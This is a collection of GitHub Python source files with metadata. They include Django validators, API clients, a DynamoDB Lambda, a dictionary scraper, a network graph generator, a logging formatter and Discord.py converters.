{"api_name": "torch.sum", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.DoubleTensor", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.topk", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.LongTensor", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "29044425056", "text": "from django.core.exceptions import ValidationError\nfrom django.core.files.images import get_image_dimensions\n\ndef validate_image(image):\n\twidth, height = get_image_dimensions(image)\n\tif height / width > 20/9:\n\t\traise ValidationError(\n\t\t\tf\"Высота файла {height} слишком большая по сравнению с шириной {width}\")\n\ndef validate_json_file(file):\n\text = file.name.split('.')[-1]\n\tif ext != 'json':\n\t\traise ValidationError(f\"file {file.name} has extention .{ext} instead of '.json'\")", "repo_name": "Fullfix/HWHub", "sub_path": "src/homeworks/validators.py", "file_name": "validators.py", "file_ext": "py", "file_size_in_byte": 520, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.core.files.images.get_image_dimensions", "line_number": 5, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 7, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "40972616741", "text": "import requests\n\n\nclass HearthstoneApis:\n\n def __init__(self, api_key):\n self.api_key = api_key\n\n\n # Hearthstone card\n def card(self, card):\n\n # Web address\n url = f'https://omgvamp-hearthstone-v1.p.mashape.com/cards/search/{card}'\n\n # Create a request, attach the key\n request = requests.Session()\n request.headers.update({'X-Mashape-Key': self.api_key})\n\n # Get, parse, and print the information\n data = request.get(url).json()\n\n # Final output if data contains > 0 cards, but none of them have images to display\n plural = '' if len(data) > 1 else 's'\n output = f'{len(data)} card{plural} found, but no image{plural} to display'\n\n # Check its validity - \"error\" key is only in invalid data\n if 'error' not in data:\n\n # Post the first image link\n for d in data:\n if 'img' in d:\n if 'collectible' in d:\n output = d['img']\n break\n\n else:\n output = f'Did not find a collectible card, but found this:\\n{d[\"img\"]}'\n\n else:\n\n # Card not found error\n if data['error'] == 404:\n output = 'Card not found.'\n\n else:\n output = 'Hearthstone API error. (non-404)'\n\n return output\n", "repo_name": "mqunell/T-800", "sub_path": "src/api/hearthstone.py", "file_name": "hearthstone.py", "file_ext": "py", "file_size_in_byte": 1388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.Session", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "74631544648", "text": "import mecab\n\ndef count(morphemes):\n# morphemes = [morpheme for morpheme in morphemes if morpheme[\"pos\"] != \"記号\"]\n morphemesCount = {}\n for m in morphemes:\n if m[\"base\"] in morphemesCount.keys():\n morphemesCount[m[\"base\"]] += 1\n else:\n morphemesCount[m[\"base\"]] = 1\n return morphemesCount\n\nif __name__ == \"__main__\":\n morphemesCount = count(mecab.formatter(\"neko.txt.mecab\"))\n morphemesCount = sorted(morphemesCount.items(), key=lambda x: -x[1])\n# morphemesCount = morphemesCount[:20]\n for key, value in morphemesCount:\n print(str(value) + \" \" + key)\n", "repo_name": "Luini/nlp100", "sub_path": "chapter4/ex36.py", "file_name": "ex36.py", "file_ext": "py", "file_size_in_byte": 622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "mecab.formatter", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "27381951256", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom userAdmin.models import User_C\nfrom Club.models import Club\nfrom Activity.models import Activity\nfrom Journal.models import Journal\nfrom School.models import School\n\nfrom friendsNews.models import globalNews\n\nimport json\n\ndef getSchoolGlobalNewsList(request):\n\tcode = request.GET['code']\n\tfor s in School.objects.all():\n\t\tif s.s_code == code:\n\t\t\tschool = s\n\tresult = []\n\tfor news in school.globalnews_set.all():\n\t\tresult = result + makeDictionary(news._subject_id,news._object_id,news.what,news.when,code)\n\treturn HttpResponse(json.dumps(result))\n\ndef getAllGlobalNewsList(request):\n\tresult = []\n\tfor news in globalNews.objects.all():\n\t\tresult = result + makeDictionary(news._subject_id,news._object_id,news.what,news.when,'')\n\treturn HttpResponse(json.dumps(result))\n\ndef makeDictionary(s_id,o_id,what,when,code):\n\tif(what == '1'):\n\t\tuser = User_C.objects.get(id=s_id)\n\t\tclub = Club.objects.get(id=o_id)\n\t\ttem = {\n\t\t's_name':user.profile.BP_nickname,\n\t\t's_id':s_id,\n\t\t'o_name':club.information.name,\n\t\t'o_id':o_id,\n\t\t'what':what,\n\t\t'when':when,\n\t\t'code':code,\n\t\t}\n\t\treturn [tem]\n\n\telif(what == '2'):\n\t\tuser = User_C.objects.get(id=s_id)\n\t\tclub = Club.objects.get(id=o_id)\n\t\ttem = {\n\t\t's_name':user.profile.BP_nickname,\n\t\t's_id':s_id,\n\t\t'o_name':club.information.name,\n\t\t'o_id':o_id,\n\t\t'what':what,\n\t\t'when':when,\n\t\t'code':code,\n\t\t}\n\t\treturn [tem]\n\n\telif(what == '3'):\n\t\tclub = Club.objects.get(id=s_id)\n\t\tactivity = Activity.objects.get(id=o_id)\n\t\ttem = {\n\t\t's_name':club.information.name,\n\t\t's_id':s_id,\n\t\t'o_name':activity.information.title,\n\t\t'o_id':o_id,\n\t\t'what':what,\n\t\t'when':when,\n\t\t'code':code,\n\t\t}\n\t\treturn [tem]\t\n\n\n\telif(what == '4'):\n\t\tclub = Club.objects.get(id=s_id)\n\t\tjournal = Journal.objects.get(id=o_id)\n\t\ttem = {\n\t\t's_name':club.information.name,\n\t\t's_id':s_id,\n\t\t'o_name':journal.detail.DC_title,\n\t\t'o_id':o_id,\n\t\t'what':what,\n\t\t'when':when,\n\t\t'code':code,\n\t\t}\n\t\treturn [tem]\t\n\n", "repo_name": "lqchn/lqchn", "sub_path": "lqchn/friendsNews/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "School.models.School.objects.all", "line_number": 16, "usage_type": "call"}, {"api_name": "School.models.School.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "School.models.School", "line_number": 16, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 22, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 22, "usage_type": "call"}, {"api_name": "friendsNews.models.globalNews.objects.all", "line_number": 26, "usage_type": "call"}, {"api_name": "friendsNews.models.globalNews.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "friendsNews.models.globalNews", "line_number": 26, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 28, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}, {"api_name": "userAdmin.models.User_C.objects.get", "line_number": 32, "usage_type": "call"}, {"api_name": "userAdmin.models.User_C.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "userAdmin.models.User_C", "line_number": 32, "usage_type": "name"}, {"api_name": "Club.models.Club.objects.get", "line_number": 33, "usage_type": "call"}, {"api_name": "Club.models.Club.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "Club.models.Club", "line_number": 33, "usage_type": "name"}, {"api_name": "userAdmin.models.User_C.objects.get", "line_number": 46, "usage_type": "call"}, {"api_name": "userAdmin.models.User_C.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "userAdmin.models.User_C", "line_number": 46, "usage_type": "name"}, {"api_name": "Club.models.Club.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "Club.models.Club.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "Club.models.Club", "line_number": 47, "usage_type": "name"}, {"api_name": "Club.models.Club.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "Club.models.Club.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "Club.models.Club", "line_number": 60, "usage_type": "name"}, {"api_name": "Activity.models.Activity.objects.get", "line_number": 61, "usage_type": "call"}, {"api_name": "Activity.models.Activity.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "Activity.models.Activity", "line_number": 61, "usage_type": "name"}, {"api_name": "Club.models.Club.objects.get", "line_number": 75, "usage_type": "call"}, {"api_name": "Club.models.Club.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Club.models.Club", "line_number": 75, "usage_type": "name"}, {"api_name": "Journal.models.Journal.objects.get", "line_number": 76, "usage_type": "call"}, {"api_name": "Journal.models.Journal.objects", "line_number": 76, "usage_type": "attribute"}, {"api_name": "Journal.models.Journal", "line_number": 76, "usage_type": "name"}]} +{"seq_id": "18505136777", "text": "import config\nimport logging\nimport vectorbt as vbt\nlogger = logging.getLogger()\nlogger.setLevel(level=logging.INFO)\nimport pandas as pd\n\nfrom sklearn.model_selection import TimeSeriesSplit\n\nclass FoldController:\n\n def __init__(self, data: pd.DataFrame, fold_type='normal', test_days=config.OPTIMIZATION['FOLDS_MONTHS'], interval='1Day'):\n self._data = data\n self._fold_type = self._validate_fold_type(fold_type)\n self._test_fold_days = test_days\n self._interval = interval\n\n def _validate_fold_type(self, fold_type: str) -> str:\n valid_values = ['walk-forward', 'walk-forward-accumulated']\n if fold_type not in valid_values:\n raise NotImplementedError(f'{fold_type} method is not implemented for fold creation... Try any value of the next: {valid_values}')\n return fold_type\n\n def _fold_size_to_interval_adapter(self, num_records):\n # In config, folds are specified in days so they have to be transformed into record count depending on the interval\n # The method returns the number of records that will be in a fold. This includes train and test records.\n\n multiplier_dict = {\n '5min': 24*12,\n '15min': 24*4,\n '30min': 24*2,\n '1h': 24,\n '2h': 12,\n '4h': 6,\n '6h': 4,\n '12h': 2,\n '24h': 1,\n '1Day': 1\n }\n\n return int(num_records * multiplier_dict[self._interval]) \n\n def _get_creation_fold_parameters(self):\n window_len = self._fold_size_to_interval_adapter(config.FOLDS['FOLD_SIZE_IN_DAYS'])\n fold_test_len = self._fold_size_to_interval_adapter(config.FOLDS['FOLD_TEST_SIZE_IN_DAYS'])\n\n mod_data = len(self._data) % window_len\n if mod_data != 0:\n self._data = self._data.iloc[mod_data:]\n\n num_folds = int(len(self._data) / (window_len - fold_test_len))\n\n return num_folds, window_len, fold_test_len\n\n def _create_walk_forward_optimization_folds(self, num_folds, full_fold_size, test_fold_size):\n return self._data.vbt.rolling_split(n=num_folds, window_len=full_fold_size, set_lens=(test_fold_size,), left_to_right=False)\n\n def _create_walk_forward_optimization_accumulated_folds(self, num_folds):\n splitter = TimeSeriesSplit(n_splits=num_folds)\n return self.data.vbt.split(splitter)\n\n\n def run(self):\n num_folds, full_fold_size, test_fold_size = self._get_creation_fold_parameters()\n\n if self._fold_type == 'walk-forward':\n (is_prices, is_dates), (oos_prices, oos_dates) = self._create_walk_forward_optimization_folds(num_folds, full_fold_size, test_fold_size)\n \n elif self._fold_type == 'walk-forward-accumulated':\n (is_prices, is_dates), (oos_prices, oos_dates) = self._create_walk_forward_optimization_accumulated_folds()\n\n return is_prices, is_dates, oos_prices, oos_dates\n\nif __name__ == '__main__':\n fc = FoldController()\n fc.run()\n", "repo_name": "unaiLopez/strategy-lab", "sub_path": "src/create_folds.py", "file_name": "create_folds.py", "file_ext": "py", "file_size_in_byte": 3009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "attribute"}, {"api_name": "config.OPTIMIZATION", "line_number": 12, "usage_type": "attribute"}, {"api_name": "config.FOLDS", "line_number": 44, "usage_type": "attribute"}, {"api_name": "config.FOLDS", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.TimeSeriesSplit", "line_number": 59, "usage_type": "call"}]} +{"seq_id": "23721165228", "text": "import json\nimport boto3\n\ndynamodb = boto3.resource('dynamodb')\ntable = dynamodb.Table('Login')\n\n\ndef lambda_handler(event, context):\n try:\n userToGet = event['pathParameters']['username']\n response = table.get_item(Key={\"userName\": userToGet})\n except Exception as e:\n return {\n 'headers': {\n \"Content-Type\": \"application/json\",\n \"Access-Control-Allow-Origin\": \"*\"\n },\n 'statusCode': 500,\n 'body': json.dumps(e.response['Error']['Message'])\n }\n else:\n return {\n 'headers': {\n \"Content-Type\": \"application/json\",\n \"Access-Control-Allow-Origin\": \"*\"\n },\n 'statusCode': 200,\n 'body': json.dumps(response['Item'])\n }", "repo_name": "gvilyr/CodeName", "sub_path": "login/getLogger.py", "file_name": "getLogger.py", "file_ext": "py", "file_size_in_byte": 812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "boto3.resource", "line_number": 4, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 19, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "42787844786", "text": "import time\r\nfrom networkx.readwrite.json_graph.jit import jit_data\r\nimport numpy as np\r\nimport random\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nfrom pathlib import Path\r\n\r\n\"\"\"\r\nThe program outputs a random matrix and generates a random undirected graph each time you execute it. \r\nUser can specify the number of friends/nodes in this network. \r\nIn the generated matrix, the first column represents the node itself, and it cannot be repeated.\r\nThis is the number that's unique to each row; the consecutive columns represent the neighbors/friends of the node.\r\n\"\"\"\r\n\r\n# define the number of nodes/friends\r\nnumber_of_nodes = 8 # off by 1\r\n\r\n# for debugging purpose, output the generated matrix to a text file\r\ngenerated_text_name = \"generatedFile.txt\"\r\ngenerated_text_url = (Path(__file__).parent).joinpath(generated_text_name)\r\n\r\n\r\ndef write_to_txt_file():\r\n \"\"\"\r\n Rules:\r\n - Undirected graph (ie. If I am friends with you, you must be friends with me; Otherwise we are not friends)\r\n - A node cannot connect to itself (ie. You can't be friends with yourself)\r\n - A node must have at least one connection (ie. You must have at least one friend. If you're not friends with anyone, you don't belong to this network.)\r\n - The number of neighbors of a given node is random (ie. The number of friends you have is random)\r\n - The neighbors of a node is random(ie. Who you're friends with is random)\r\n \"\"\"\r\n with open(generated_text_name, \"w\") as f:\r\n for i in range(number_of_nodes):\r\n # define the initial \"self\" nodes or the first column\r\n f.write(str(i) + \" \")\r\n\r\n # return the random \"friends\" of the 'self' node\r\n for j in range(number_of_nodes):\r\n start = random.randrange(1)\r\n surprise = random.randrange(1, 2)\r\n a = random.randrange(start, number_of_nodes, surprise)\r\n b = random.randrange(start, number_of_nodes, surprise)\r\n if a > b and a != i: # a node can't be friends with itself\r\n f.write(str(a) + \" \")\r\n else:\r\n f.write(\" \" + \" \") # indicating that the node has no friends\r\n f.write(\"\\n\")\r\n\r\n\r\ndef draw_graph():\r\n \"\"\"\r\n draw the created matrix\r\n \"\"\"\r\n G = nx.Graph()\r\n with open(generated_text_url, \"r\") as f:\r\n for i, row in enumerate(f):\r\n row = row.strip().split()\r\n if len(row) not in (0, 1):\r\n self_node = row[0]\r\n for neighbors in row[1:]:\r\n G.add_edge(self_node, neighbors)\r\n elif len(row) == 1:\r\n if row[0] not in G:\r\n nx.add_node(row[0])\r\n else:\r\n # if a row is empty, print to console\r\n # this is for debugging\r\n print(f\"row {i+1} is empty\")\r\n pos = nx.spring_layout(G, k=0.3)\r\n nx.draw_networkx_nodes(G, pos, alpha=0.5)\r\n nx.draw_networkx_edges(G, pos, edge_color=\"#808080\")\r\n labels = {}\r\n for node in G.nodes():\r\n labels[node] = node\r\n\r\n nx.draw_networkx_labels(G, pos, labels, font_family=\"DejaVu Sans\")\r\n plt.gca().margins(0.15, 0.15)\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # start_time = time.time()\r\n write_to_txt_file()\r\n draw_graph()\r\n # print(f\"\\n[Finished in {(time.time() - start_time):.2f}s]\")\r\n", "repo_name": "michaelGRU/Random-Network-Generator", "sub_path": "network_generator.py", "file_name": "network_generator.py", "file_ext": "py", "file_size_in_byte": 3406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pathlib.Path", "line_number": 21, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 40, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 41, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 42, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 43, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 55, "usage_type": "call"}, {"api_name": "networkx.add_node", "line_number": 65, "usage_type": "call"}, {"api_name": "networkx.spring_layout", "line_number": 70, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_nodes", "line_number": 71, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_edges", "line_number": 72, "usage_type": "call"}, {"api_name": "networkx.draw_networkx_labels", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}]} +{"seq_id": "23939119691", "text": "\"\"\"\nWork of Walter Martin (owner), 2018.\nMay be used commercially with permission of owner.\nMay not be distributed or modified without explicit permission of owner.\n\"\"\"\n\nimport requests\nfrom lxml import html\nimport sqlite3\nimport time\n\n# start 'er up\nsession_requests = requests.session()\n\n# get credentials from user-supplied file\nwith open('no_vcs/login_info.txt', 'r') as login_file:\n login_info = login_file.readlines()\n\nlogin_payload = {\"email\": login_info[0].strip(), \"password\": login_info[1].strip()}\n\n# login\nlogin_url = \"https://unabridged.merriam-webster.com/subscriber/lapi/1/subscriber/identity/login/ue\"\nlogin_result = session_requests.post(login_url, data=login_payload)\n\n# generic search, should bring up everything\n# search_url = 'http://unabridged.merriam-webster.com/unabridged/**'\nsearch_url = 'http://unabridged.merriam-webster.com/unabridged/a*'\n\n# open up database\nconnection = sqlite3.connect('words.db')\ncursor = connection.cursor()\n\n# if we've already found some words, pull them out into a set\nword_tuple_list = cursor.execute('''SELECT word FROM pureWordsSup;''').fetchall()\nword_set = set([i[0] for i in word_tuple_list])\n\n# find the word number we ended on last time TODO change word_num to go with number in dict?\nword_nums = [i[0] for i in cursor.execute('''SELECT word_num FROM pureWordsSup;''').fetchall()]\ncounter = 0 if len(word_nums) == 0 else max(word_nums)\n\n# if the list of words returned is not empty, True\nfull_word_list = True\n\nwhile full_word_list:\n # start is the index of the first word on the page\n next_page_payload = {\"start\": str(counter)}\n res = session_requests.post(search_url, data=next_page_payload)\n tree = html.fromstring(res.content)\n # grab all entries from the html of the page\n word_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/text()')\n # print(word_list)\n # grab superscripts from the html of the page\n sup_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/sup/text()')\n # print(sup_list)\n\n full_word_list = len(word_list) != 0\n\n # if we didn't find anything\n if not full_word_list:\n exp = 0\n # wait exponentially longer each time we fail to find anything\n while not full_word_list and exp < 7:\n time.sleep(2 ** exp)\n next_page_payload = {\"start\": str(counter)}\n res = session_requests.post(search_url, data=next_page_payload)\n tree = html.fromstring(res.content)\n word_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/text()')\n sup_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/sup/text()')\n exp += 1\n full_word_list = len(word_list) != 0\n\n # if we still didn't get anything, log in again and retry\n if not full_word_list:\n session_requests = requests.session()\n login_result = session_requests.get(login_url)\n login_result = session_requests.post(login_url, data=login_payload)\n\n next_page_payload = {\"start\": str(counter)}\n res = session_requests.post(search_url, data=next_page_payload)\n tree = html.fromstring(res.content)\n word_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/text()')\n sup_list = tree.xpath('//li/a/span[@class=\"entry-text\"]/sup/text()')\n\n # find words that aren't yet in the list\n # TODO can't read as set anymore\n diff = list(set(word_list) - word_set)\n diff.sort()\n # cursor.executemany('''INSERT INTO pureWordsSup (word, superscript) VALUES (?, ?)''', [(i,) for i in ])\n # connection.commit()\n\n # add those words into the set\n word_set |= set(word_list)\n\n # MW does about 30 words per page, maybe 31. Some overlap is allowed here.\n counter += 30\n\n # give us an update\n if counter % 300 == 0:\n print(counter)\n full_word_list = len(word_list) != 0\n\n# wrap things up\nconnection.close()\n", "repo_name": "Xctrunner/dict_scrape", "sub_path": "get_pure_words.py", "file_name": "get_pure_words.py", "file_ext": "py", "file_size_in_byte": 3854, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.session", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 30, "usage_type": "call"}, {"api_name": "lxml.html.fromstring", "line_number": 48, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 48, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "lxml.html.fromstring", "line_number": 66, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 66, "usage_type": "name"}, {"api_name": "requests.session", "line_number": 74, "usage_type": "call"}, {"api_name": "lxml.html.fromstring", "line_number": 80, "usage_type": "call"}, {"api_name": "lxml.html", "line_number": 80, "usage_type": "name"}]} +{"seq_id": "40967933542", "text": "import logging\n\n\nclass ColoredFormatter(logging.Formatter):\n \"\"\"\n ColoredFormatter for logging\n \"\"\"\n LEVEL_MAP = {logging.FATAL: 'F', logging.ERROR: 'E', logging.WARN: 'W', logging.INFO: 'I', logging.DEBUG: 'D'}\n BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)\n COLORS = {\n 'WARNING': YELLOW,\n 'INFO': WHITE,\n 'DEBUG': BLUE,\n 'CRITICAL': YELLOW,\n 'ERROR': RED,\n 'OK': GREEN\n }\n RESET_SEQ = \"\\033[0m\"\n COLOR_SEQ = \"\\033[1;%dm\"\n BOLD_SEQ = \"\\033[1m\"\n\n def __init__(self, fmt: str, datefmt: str, use_color: bool=True) -> None:\n \"\"\"\n Constructor\n :param fmt: Message format\n :param datefmt: datetime format\n :param use_color: use colors\n \"\"\"\n logging.Formatter.__init__(self, fmt, datefmt)\n self.use_color = use_color\n\n def format(self, record: logging.LogRecord) -> str:\n levelname = record.levelname\n if self.use_color and levelname in self.COLORS:\n levelname_color = self.COLOR_SEQ % (30 + self.COLORS[levelname]) + levelname + self.RESET_SEQ\n record.levelname = levelname_color\n record.levelletter = self.LEVEL_MAP[record.levelno]\n return logging.Formatter.format(self, record)\n", "repo_name": "Salamek/version", "sub_path": "version/logging/ColoredFormatter.py", "file_name": "ColoredFormatter.py", "file_ext": "py", "file_size_in_byte": 1283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.Formatter", "line_number": 4, "usage_type": "attribute"}, {"api_name": "logging.FATAL", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.WARN", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 8, "usage_type": "attribute"}, {"api_name": "logging.Formatter.__init__", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 29, "usage_type": "attribute"}, {"api_name": "logging.LogRecord", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.Formatter.format", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 38, "usage_type": "attribute"}]} +{"seq_id": "43434112095", "text": "import discord\nfrom discord.ext import commands\nimport re\n\nclass IDConverter(commands.Converter):\n def __init__(self):\n self._id_regex = re.compile(r'([0-9]{15,21})$')\n super().__init__()\n\n def _get_id_match(self, argument):\n return self._id_regex.match(argument)\n\ndef _get_from_guilds(bot, getter, argument):\n result = None\n for guild in bot.guilds:\n result = getattr(guild, getter)(argument)\n if result:\n return result\n return result\n\nclass Role(IDConverter):\n async def convert(self, ctx, argument):\n guild = ctx.message.guild\n if not guild:\n raise commands.NoPrivateMessage()\n\n match = self._get_id_match(argument) or re.match(r'<@&([0-9]+)>$', argument)\n params = dict(id=int(match.group(1))) if match else dict(name=argument)\n if \"name\" in params.keys():\n result = discord.utils.find(lambda r: r.name.lower() == params['name'].lower(), guild.roles)\n else:\n result = discord.utils.get(guild.roles, **params)\n if result is None:\n raise commands.BadArgument(f'Role \"{argument}\" not found.')\n return result\n\nclass Member(IDConverter):\n async def convert(self, ctx, argument):\n message = ctx.message\n bot = ctx.bot\n match = self._get_id_match(argument) or re.match(r'<@!?([0-9]+)>$', argument)\n guild = message.guild\n result = None\n if match is None:\n # not a mention...\n if guild:\n #result = guild.get_member_named(argument)\n if len(argument) > 5 and argument[-5] != '#':\n result = discord.utils.find(lambda m: m.display_name.lower() == argument.lower() or m.name.lower() == argument.lower(), guild.members)\n elif len(argument) > 5 and argument[-5] == '#':\n result = discord.utils.find(lambda m: str(m).lower() == argument.lower(), guild.members)\n elif len(argument) <= 5:\n def pred(m):\n if m.nick is not None:\n return m.nick.lower() == argument.lower() or m.name.lower() == argument.lower()\n else:\n return m.name.lower() == argument.lower()\n return discord.utils.find(pred, guild.members)\n else:\n for guild2 in bot.guilds:\n if len(argument) > 5 and argument[-5] != '#':\n result = discord.utils.find(lambda m: m.display_name.lower() == argument.lower() or m.name.lower() == argument.lower(), guild.members)\n elif len(argument) > 5 and argument[-5] == '#':\n #result = _get_from_guilds(bot, 'get_member_named', argument)\n result = discord.utils.find(lambda m: str(m).lower() == argument.lower(), guild.members)\n elif len(argument) <= 5:\n def pred(m):\n if m.nick is not None:\n return m.nick.lower() == argument.lower() or m.name.lower() == argument.lower()\n else:\n return m.name.lower() == argument.lower()\n return discord.utils.find(pred, guild.members)\n\n else:\n user_id = int(match.group(1))\n if guild:\n result = guild.get_member(user_id)\n else:\n result = _get_from_guilds(bot, 'get_member', user_id)\n\n if result is None:\n raise commands.BadArgument(f'Member \"{argument}\" not found.')\n\n return result\n\n def _get_id_match(self, argument):\n return self._id_regex.match(argument)\n\nclass User(IDConverter):\n async def convert(self, ctx, argument):\n match = self._get_id_match(argument) or re.match(r'<@!?([0-9]+)>$', argument)\n result = None\n state = ctx._state\n\n if match is not None:\n user_id = int(match.group(1))\n result = ctx.bot.get_user(user_id)\n else:\n arg = argument\n # check for discriminator if it exists\n if len(arg) > 5 and arg[-5] == '#':\n discrim = arg[-4:]\n name = arg[:-5]\n predicate = lambda u: u.name.lower() == name.lower() and u.discriminator == discrim\n result = discord.utils.find(predicate, state._users.values())\n if result is not None:\n return result\n else:\n if ctx.guild:\n def pred(m):\n if m.nick is not None:\n return m.nick.lower() == argument.lower() or m.name.lower() == argument.lower()\n else:\n return m.name.lower() == argument.lower()\n result = discord.utils.find(pred, ctx.guild.members)\n else:\n predicate = lambda u: u.name.lower() == arg.lower()\n result = discord.utils.find(predicate, state._users.values())\n\n if result is None:\n raise commands.BadArgument(f'User \"{argument}\" not found.')\n\n return result\n", "repo_name": "shivaco/Mari-bot", "sub_path": "cogs/utils/converters.py", "file_name": "converters.py", "file_ext": "py", "file_size_in_byte": 5255, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "discord.ext.commands.Converter", "line_number": 5, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 5, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 7, "usage_type": "call"}, {"api_name": "discord.ext.commands.NoPrivateMessage", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 25, "usage_type": "name"}, {"api_name": "re.match", "line_number": 27, "usage_type": "call"}, {"api_name": "discord.utils.find", "line_number": 30, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 30, "usage_type": "attribute"}, {"api_name": "discord.utils.get", "line_number": 32, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 32, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.BadArgument", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 34, "usage_type": "name"}, {"api_name": "re.match", "line_number": 41, "usage_type": "call"}, {"api_name": "discord.utils.find", "line_number": 49, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 49, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 51, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 51, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 58, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 58, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 62, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 62, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 65, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 65, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 72, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 72, "usage_type": 